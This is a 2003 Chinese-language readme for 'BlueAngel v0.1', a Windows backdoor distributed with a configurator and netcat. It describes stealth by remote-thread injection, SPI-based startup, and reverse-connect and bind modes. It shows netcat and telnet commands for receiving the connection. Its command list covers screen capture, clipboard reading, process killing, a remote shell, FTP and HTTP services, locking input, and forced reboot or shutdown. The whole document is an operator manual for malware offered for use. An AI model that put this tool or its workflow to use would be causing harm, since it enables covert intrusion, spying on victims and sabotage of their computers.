//////////////////////////////////////////////////////////////////////////////                                                                                                                                         
 XXXXXX    XX                      XX                              XX   
  X    X    X                       X                               X   
  X    X    X                       X                               X   
  X    X    X    XX  XX   XXXXX    X X   XX XX    XXXXXX  XXXXX     X   
  XXXXX     X     X   X  X     X   X X    XX  X  X    X  X     X    X   
  X    X    X     X   X  XXXXXXX  X   X   X   X  X    X  XXXXXXX    X   
  X    X    X     X   X  X        XXXXX   X   X  X    X  X          X   
  X    X    X     X  XX  X     X  X   X   X   X   XXXXX  X     X    X   
 XXXXXX   XXXXX    XX XX  XXXXX  XXX XXX XXX XXX      X   XXXXX   XXXXX 
                                                      X                 
                                                  XXXX                  
///////////////////////////////////////////////////////////////////////////////

   BlueAngel v0.1 是 BlueAngel version Debug的升級版，作為升級版本，完全重寫了內核代碼，改進了原來版本，使每個用戶的操作隔離，增加了端口反彈功能。
   改善了原來版本生存能力不強的弱點。本版本采用遠線程插入，故沒有進程。基于SPI啟動。
   適用系統：WIN NT5.0以上，包括NT5.0。WINSOCK2.0版本


文件:

BlueAngelv0.1 BlueAngel配置器
readme.txt    幫助
NC            NC



////////////////////////////////////////////

說明：

BlueAngel v0.1可以根據需要生成主動連接和端口反彈兩種后門。

反彈后門可以用NC在自定義的端口監聽。

For Example:

如：自定義端口1983

Microsoft Windows [版本 5.2.3790]
(C) 版權所有 1985-2003 Microsoft Corp.

C:>nc -l -p 1983

		BlueAngel v0.1
BlueAngel=>

OK，反彈后門連上。在*NIX上可以使用LINUX版的NC

主動連接，可以直接連接，或者借助第三放連接工具。

For Example:

如：自定義端口1983

Microsoft Windows [版本 5.2.3790]
(C) 版權所有 1985-2003 Microsoft Corp.

C:>telnet 127.0.0.1 1983


		BlueAngel v0.1
password:

也可以用NC連接！

每次配置生成一個服務端和關于服務端配置的Configure.txt文件

注意：由于線程的原因，有時連接服務端，沒有出現提示信息，請正常輸入密碼，可正常使用。主動連接超時時間為10s，連接后請盡快輸入密碼。

使用說明：

BlueAngel=>

為提示符~

BlueAngel命令說明(不區分大小寫)

help            顯示幫助
exit            退出BlueAngel
catch           抓取屏幕，圖象保存在C:\catch.bmp
open cdrom      彈出光驅
close cdrom     關閉光驅////注：可能等待時間長一點
open ftp        打開FTP服務////注：請使用命令行FTP客戶端，圖形界面FTP不支持
close ftp       關閉FTP服務
open http       打開HTTP服務
close http      關閉HTTP服務
list            枚舉遠程系統進程
kill [PID]      殺死指定的遠程系統進程//[PID]為進程號
shell           啟用命令行控制
peek            查看當前剪貼板內容
hide            隱藏桌面和任務欄
show            恢復桌面和任務欄
lock            鎖定鼠標，禁止功能鍵
unlock          恢復鼠標，功能鍵
reboot          重啟遠程計算機
logoff          注銷遠程計算機
poweroff        關閉遠程計算機電源

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

HTTP服務可以使用任何瀏覽器控制~


如有任何BUG，請致信leonshoh@hackbase.com  不甚感激

==============================================================
Copyright (C) 2003.9 hziee
http://software.hziee.edu.cn
mailto:leonshoh@hackbase.com